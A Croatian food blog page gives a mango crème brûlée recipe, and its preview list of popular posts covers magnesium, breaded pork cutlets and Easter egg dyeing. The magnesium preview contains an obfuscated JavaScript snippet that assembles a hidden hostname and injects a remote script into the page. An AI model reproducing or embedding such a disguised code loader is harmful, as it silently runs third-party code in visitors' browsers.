MANGO CREME BRULEE





Mango creme brulee 



Jedan od najprepoznatljivijih francuskih deserata zasigurno je crème brûlée, elegantna slastica poznata po svilenkastoj kremi od vanilije i karakterističnoj tankoj, hrskavoj karameliziranoj korici koja puca pod žličicom. Upravo taj kontrast nježne kreme i hrskavog šećera razlog je zbog kojeg se ovaj desert već desetljećima nalazi na jelovnicima najboljih restorana diljem svijeta.




Mango creme brulee 

Sastojci (za 6 porcija):

Za kremu:

  • 500 ml slatkog vrhnja za šlag
  • 200 g pirea od zrelog manga (oko 2 velika manga)
  • 5 žumanjaka
  • 80 g sitnog šećera
  • 1 mahuna vanilije ili 1 žličica kvalitetne paste od vanilije
  • prstohvat soli

Za karamelizirani vrh:

  • 6 do 8 žličica smeđeg ili bijelog šećera



Priprema:

  • Zagrijte pećnicu na 150 °C.
  • Mango ogulite, narežite na kockice i usitnite u potpuno glatki pire. Ako želite posebno nježnu teksturu, pire procijedite kroz fino sito.
  • U loncu zagrijte slatko vrhnje zajedno s vanilijom. Smjesa treba biti vrlo topla, ali ne smije zakipjeti.
  • U drugoj posudi pjenjačom izmiješajte žumanjke, šećer i prstohvat soli dok smjesa ne postane svijetla i glatka. Polako ulijevajte zagrijano vrhnje neprestano miješajući kako se jaja ne bi zgrušala.
  • Dodajte pire od manga i lagano promiješajte dok ne dobijete potpuno ujednačenu kremu.
  • Smjesu rasporedite u keramičke posudice za crème brûlée.
  • Posudice složite u duboki lim za pečenje te ulijte vruću vodu tako da dopire otprilike do polovice njihove visine. Ovakva vodena kupelj omogućit će ravnomjerno pečenje i savršeno glatku teksturu.
  • Pecite između 35 i 45 minuta. Krema bi trebala biti lagano drhtava u sredini kada izvadite posudice iz pećnice.
  • Ostavite ih da se potpuno ohlade, a zatim ih stavite u hladnjak na najmanje četiri sata, idealno preko noći.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više